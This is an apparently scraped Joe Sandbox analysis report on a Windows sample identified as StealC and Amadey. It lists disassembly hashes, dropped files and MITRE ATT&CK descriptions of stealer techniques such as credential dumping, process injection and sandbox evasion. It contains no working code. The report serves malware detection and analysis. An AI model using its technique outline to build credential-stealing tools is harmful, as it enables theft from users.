Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 5e7458d6f5d138586bc0b72184c461edd8654fd4f4c94c9e2514e18a1f5a2d3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 92316171A00214AFDB14CF5ECDC0AAB77B9EB94358B14853CFA4A8BF04D632ED458B90

Function 6C9826B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9826C1
free.MOZGLUE(?), ref: 6C9826E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9826FF
free.MOZGLUE ref: 6C98270D

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 82790be9d13565d0be33615a22db6d8635ec1bfe9e5e680c8695c9db8f5978b4
Instruction ID: bfe6920157d03f7a46c69c24bcdb804644286aab3d25539f9093387ba293ba96
Opcode Fuzzy Hash: 82790be9d13565d0be33615a22db6d8635ec1bfe9e5e680c8695c9db8f5978b4
Instruction Fuzzy Hash: 0EF0F9B27026056BEB009A18D88495B73ADEF51218B600435FA16C3B02E332F918C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKEGDAKEHJDHIDHJJDAE

C:\ProgramData\BAKEBAFIIECBGCAAAAFC

C:\ProgramData\DAECFIJD

C:\ProgramData\JDAEHJJECAEGCAAAAEGIEBKEBK

C:\ProgramData\JEBGCBAF

C:\ProgramData\JEBGCBAFCGDAAKFIDGIE

C:\ProgramData\JJKJDAEBFCBKECBGDBFCFBKKKF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre